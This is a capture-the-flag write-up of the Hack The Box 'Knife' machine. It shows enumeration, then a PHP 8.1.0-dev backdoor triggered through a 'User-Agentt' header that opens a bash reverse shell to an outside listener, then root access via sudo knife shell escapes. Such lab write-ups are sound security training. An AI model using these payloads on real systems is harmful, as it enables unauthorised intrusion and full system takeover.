Knife

Enumeration

Execute a nmap scan to see which ports are open.

```
 1  ┌──(funa☕kali)-[~/l3ickey/htb/Writer]
 2  └─$ nmap -p$ports -sV 10.10.10.242
 3  Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-10 23:50 JST
 4  Nmap scan report for 10.10.10.242
 5  Host is up (0.094s latency).
 6
 7  PORT   STATE SERVICE VERSION
 8  22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol
    2.0)
 9  80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
10  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
11
12  Service detection performed. Please report any incorrect results at
    https://nmap.org/submit/ .
13  Nmap done: 1 IP address (1 host up) scanned in 7.55 seconds
```


We can't find anything of particular interest on the web site, so we do directory busting.

```
 1  ┌──(funa☕kali)-[~/l3ickey/htb/Writer]
 2  └─$ gobuster dir -u 10.10.10.242 -w
    /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
 3  ===============================================================
 4  Gobuster v3.1.0
 5  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
 6  ===============================================================
 7  [+] Url:                    http://10.10.10.242
 8  [+] Method:                 GET
 9  [+] Threads:                10
```

```
10  [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-
    2.3-small.txt
11  [+] Negative Status codes:   404
12  [+] User Agent:              gobuster/3.1.0
13  [+] Timeout:                 10s
14  ===============================================================
15  2022/01/10 23:53:08 Starting gobuster in directory enumeration mode
16  ===============================================================
17
18  ===============================================================
19  2022/01/11 00:06:39 Finished
20  ===============================================================
```

Foothold

Nothing was found, so we will use cURL to get the response headers.

```
1  ┌──(funa㉿kali)-[~/l3ickey/htb/Knife]
2  └─$ curl -I http://10.10.10.242/index.php
3  HTTP/1.1 200 OK
4  Date: Mon, 10 Jan 2022 15:54:55 GMT
5  Server: Apache/2.4.41 (Ubuntu)
6  X-Powered-By: PHP/8.1.0-dev
7  Content-Type: text/html; charset=UTF-8
```

If you search for the php version, you will find the Remote Code Execution exploit. We fire up a listener on port 1234 and send below request to obtain the reverse shell.

```
1  ┌──(funa㉿kali)-[~/l3ickey/htb/Knife]
2  └─$ curl http://10.10.10.242/index.php -H "User-Agentt: zerodiumsystem(\"bash
   -c 'bash -i&>/dev/tcp/10.10.14.27/1234 0>&1 '\");"
```

```
1   ┌──(funa㉿kali)-[~/l3ickey/htb/Knife]
2   └─$ nc -lvnp 1234
3   listening on [any] 1234 ...
4   connect to [10.10.14.27] from (UNKNOWN) [10.10.10.242] 53986
5   bash: cannot set terminal process group (967): Inappropriate ioctl for
    device
6   bash: no job control in this shell
7   james@knife:/$ id
8   id
9   uid=1000(james) gid=1000(james) groups=1000(james)
10  james@knife:/$ ls /home/james
11  ls /home/james
12  user.txt
```

Privilege Escalation

If you check the commands that are the allowed to run as root, `james` is allowed to use the `knife` command.

```
1  james@knife:/$ sudo -l
2  sudo -l
3  Matching Defaults entries for james on knife:
4      env_reset, mail_badpass,
5
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bi
   n\:/snap/bin
6
7  User james may run the following commands on knife:
8      (root) NOPASSWD: /usr/bin/knife
```

We can start a text editor by using the `knife data bag` subcommand.

```
1  james@knife:/$ knife -h
2
3  ...
4
5  ** DATA BAG COMMANDS **
6  knife data bag create BAG [ITEM] (options)
7
8  ...
```

This opens up the `vim` editor. We type `:!/bin/sh` in the editor to get a shell as root.

```
1   james@knife:/$ sudo knife data bag create bagname item -e vi
2
3   ...
4
5   {
6     "id": "item"
7   }
8   :!/bin/sh
9   whoami
10  root
11  id
12  uid=0(root) gid=0(root) groups=0(root)
13  ls /root
14  delete.sh
15  root.txt
16  snap
```

Alternatively, you can use the knife exec subcommand.

```
1  james@knife:/$ sudo knife exec --exec "exec '/bin/sh -i' "
2  sudo knife exec --exec "exec '/bin/sh -i' "
3  /bin/sh: 0: can't access tty; job control turned off
4  # whoami
5  root
6  # id
7  uid=0(root) gid=0(root) groups=0(root)
```